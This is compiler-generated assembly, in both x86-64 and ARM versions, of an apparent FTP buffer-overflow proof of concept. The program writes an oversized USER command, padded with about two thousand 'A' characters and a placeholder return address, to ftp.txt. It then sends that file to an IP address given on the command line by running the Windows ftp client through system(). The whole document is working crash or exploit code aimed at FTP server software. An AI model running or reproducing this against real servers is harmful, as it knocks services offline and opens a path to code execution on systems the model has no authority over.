	.file	"extr_23708.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Usage: %s [IP]\n\n"
.LC1:
	.string	"\r\n"
.LC2:
	.string	"crash"
.LC3:
	.string	"USER "
.LC4:
	.string	"ftp -s:ftp.txt %s"
.LC5:
	.string	"a+"
.LC6:
	.string	"ftp.txt"
.LC7:
	.string	"- file written!"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC8:
	.string	"ERROR: couldn't open ftp.txt!\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	mov	rbx, rsi
	sub	rsp, 8
	.cfi_def_cfa_offset 32
	cmp	QWORD PTR 8[rsi], 0
	je	.L8
	mov	rdi, QWORD PTR buffer[rip]
	mov	edx, 47
	mov	esi, 65
	call	memset@PLT
	mov	rax, QWORD PTR buffer[rip]
	mov	edx, 2
	lea	rsi, .LC1[rip]
	lea	rdi, 47[rax]
	call	memcpy@PLT
	mov	rax, QWORD PTR buffer[rip]
	mov	edx, 5
	lea	rsi, .LC2[rip]
	lea	rdi, 49[rax]
	call	memcpy@PLT
	mov	rax, QWORD PTR buffer[rip]
	mov	edx, 2
	lea	rsi, .LC1[rip]
	lea	rdi, 54[rax]
	call	memcpy@PLT
	mov	rax, QWORD PTR buffer[rip]
	mov	edx, 5
	lea	rsi, .LC3[rip]
	lea	rdi, 56[rax]
	call	memcpy@PLT
	mov	edx, 1989
	mov	esi, 65
	mov	rax, QWORD PTR buffer[rip]
	lea	rdi, 61[rax]
	call	memset@PLT
	mov	edx, 4
	mov	esi, 88
	mov	rax, QWORD PTR buffer[rip]
	lea	rdi, 2050[rax]
	call	memset@PLT
	mov	rax, QWORD PTR buffer[rip]
	mov	edx, 2
	lea	rsi, .LC1[rip]
	lea	rdi, 2054[rax]
	call	memcpy@PLT
	mov	rdx, QWORD PTR 8[rbx]
	mov	edi, DWORD PTR cmd[rip]
	lea	rsi, .LC4[rip]
	call	sprintf@PLT
	lea	rsi, .LC5[rip]
	lea	rdi, .LC6[rip]
	call	fopen@PLT
	mov	rbp, rax
	test	rax, rax
	je	.L4
	mov	rdi, QWORD PTR buffer[rip]
	mov	rsi, rax
	call	fputs@PLT
	mov	rdi, rbp
	call	fclose@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
.L5:
	mov	edi, DWORD PTR cmd[rip]
	call	system@PLT
.L3:
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L4:
	.cfi_restore_state
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC8[rip]
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L5
.L8:
	mov	rsi, QWORD PTR [rsi]
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	jmp	.L3
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	cmd,4,4
	.comm	buffer,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_23708.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: %s [IP]\012\012\000"
	.align	2
.LC1:
	.ascii	"\015\012\000"
	.align	2
.LC2:
	.ascii	"crash\000"
	.align	2
.LC3:
	.ascii	"USER \000"
	.align	2
.LC4:
	.ascii	"ftp -s:ftp.txt %s\000"
	.align	2
.LC5:
	.ascii	"a+\000"
	.align	2
.LC6:
	.ascii	"ftp.txt\000"
	.align	2
.LC7:
	.ascii	"- file written!\000"
	.align	2
.LC8:
	.ascii	"ERROR: couldn't open ftp.txt!\012\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	ldr	r3, [r1, #4]
	push	{r4, r5, r6, lr}
	cmp	r3, #0
	mov	r5, r1
	beq	.L8
	ldr	r4, .L9
	mov	r2, #47
	mov	r1, #65
	ldr	r0, [r4]
	bl	memset
	ldr	r0, [r4]
	mov	r2, #2
	ldr	r1, .L9+4
	add	r0, r0, #47
	bl	memcpy
	ldr	r0, [r4]
	mov	r2, #5
	ldr	r1, .L9+8
	add	r0, r0, #49
	bl	memcpy
	ldr	r0, [r4]
	mov	r2, #2
	ldr	r1, .L9+4
	add	r0, r0, #54
	bl	memcpy
	ldr	r0, [r4]
	mov	r2, #5
	ldr	r1, .L9+12
	add	r0, r0, #56
	bl	memcpy
	ldr	r0, [r4]
	mov	r1, #65
	ldr	r2, .L9+16
	add	r0, r0, #61
	bl	memset
	ldr	r0, [r4]
	mov	r2, #4
	add	r0, r0, #2048
	mov	r1, #88
	add	r0, r0, #2
	bl	memset
	ldr	r0, [r4]
	ldr	r6, .L9+20
	add	r0, r0, #2048
	mov	r2, #2
	ldr	r1, .L9+4
	add	r0, r0, #6
	bl	memcpy
	ldr	r2, [r5, #4]
	ldr	r1, .L9+24
	ldr	r0, [r6]
	bl	sprintf
	ldr	r1, .L9+28
	ldr	r0, .L9+32
	bl	fopen
	subs	r5, r0, #0
	beq	.L4
	mov	r1, r5
	ldr	r0, [r4]
	bl	fputs
	mov	r0, r5
	bl	fclose
	ldr	r0, .L9+36
	bl	puts
.L5:
	ldr	r0, [r6]
	bl	system
.L3:
	mov	r0, #0
	pop	{r4, r5, r6, pc}
.L4:
	ldr	r3, .L9+40
	ldr	r1, .L9+44
	ldr	r0, [r3]
	bl	fprintf
	mov	r0, #1
	bl	exit
	b	.L5
.L8:
	ldr	r1, [r1]
	ldr	r0, .L9+48
	bl	printf
	b	.L3
.L10:
	.align	2
.L9:
	.word	buffer
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	1989
	.word	cmd
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	stderr
	.word	.LC8
	.word	.LC0
	.size	main, .-main
	.comm	stderr,4,4
	.comm	cmd,4,4
	.comm	buffer,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
